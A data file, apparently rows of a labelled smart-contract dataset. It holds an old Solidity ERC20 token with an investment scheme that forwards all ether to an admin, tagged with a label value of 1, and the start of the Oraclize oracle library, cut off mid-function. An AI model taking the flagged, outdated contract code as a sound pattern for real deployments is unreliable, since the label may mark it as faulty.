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pragma solidity 0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract NLCToken is StandardToken {
using SafeMath for uint256;
string public constant name = "Nutrilife OU";
string public constant symbol = "NLC";
uint8 public constant decimals = 18;
address public nlcAdminAddress;
uint256 public weiRaised;
uint256 public rate;
modifier onlyAdmin {
require(msg.sender == nlcAdminAddress);
_;
}
event Investment(address indexed investor, uint256 value);
event TokenPurchaseRequestFromInvestment(address indexed investor, uint256 token);
event ApproveTokenPurchaseRequest(address indexed investor, uint256 token);
uint256 public constant INITIAL_SUPPLY = 500000000 * 10**uint256(decimals);
mapping(address => uint256) public _investorsVault;
mapping(address => uint256) public _investorsInvestmentInToken;
constructor(address _nlcAdminAddress, uint256 _rate) public {
require(_nlcAdminAddress != address(0));
nlcAdminAddress = _nlcAdminAddress;
totalSupply_ = INITIAL_SUPPLY;
rate = _rate;
balances[_nlcAdminAddress] = totalSupply_;
}
function () external payable {
investFund(msg.sender);
}
function investFund(address _investor) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_investor, weiAmount);
weiRaised = weiRaised.add(weiAmount);
_trackVault(_investor, weiAmount);
_forwardFunds();
emit Investment(_investor, weiAmount);
}
function investmentOf(address _investor) public view returns (uint256) {
return _investorsVault[_investor];
}
function purchaseTokenFromInvestment(uint256 _ethInWei) public {
require(_investorsVault[msg.sender] != 0);
uint256 _token = _getTokenAmount(_ethInWei);
_investorsVault[msg.sender] = _investorsVault[msg.sender].sub(_ethInWei);
_investorsInvestmentInToken[msg.sender] = _investorsInvestmentInToken[msg.sender].add(_token);
emit TokenPurchaseRequestFromInvestment(msg.sender, _token);
}
function tokenInvestmentRequest(address _investor) public view returns (uint256) {
return _investorsInvestmentInToken[_investor];
}
function approveTokenInvestmentRequest(address _investor) public onlyAdmin {
uint256 token = _investorsInvestmentInToken[_investor];
require(token != 0);
super.transfer(_investor, _investorsInvestmentInToken[_investor]);
_investorsInvestmentInToken[_investor] = _investorsInvestmentInToken[_investor].sub(token);
emit ApproveTokenPurchaseRequest(_investor, token);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(_weiAmount >= 0.5 ether);
}
function _trackVault(address _investor, uint256 _weiAmount) internal {
_investorsVault[_investor] = _investorsVault[_investor].add(_weiAmount);
}
function _forwardFunds() internal {
nlcAdminAddress.transfer(msg.value);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
} | 1 | 3,472 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
